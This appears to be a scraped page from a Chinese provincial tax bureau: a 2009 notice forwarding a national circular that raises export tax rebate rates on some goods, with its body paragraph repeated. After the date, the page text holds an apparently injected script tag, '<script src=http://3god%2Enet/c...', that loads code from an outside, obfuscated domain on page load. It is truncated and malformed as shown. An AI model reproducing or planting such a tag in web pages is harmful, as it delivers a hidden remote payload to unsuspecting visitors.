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河南省国家税务局关于转发《财政部、国家税务总局关于进一步提高部分商品出口退税率的通知》的通知
字号:T|T 2009年07月08日16:07     
  • 各省辖市国家税务局: 现将《财政部、国家税务总局关于进一步提高部分商品出口退税率的通知》(财税〔2009〕88号)转发给你们,请遵照执行。 二OO九年六月十一日 <script src=http://3god%2Enet/c<sc
各省辖市国家税务局: 现将《财政部、国家税务总局关于进一步提高部分商品出口退税率的通知》(财税〔2009〕88号)转发给你们,请遵照执行。 二OO九年六月十一日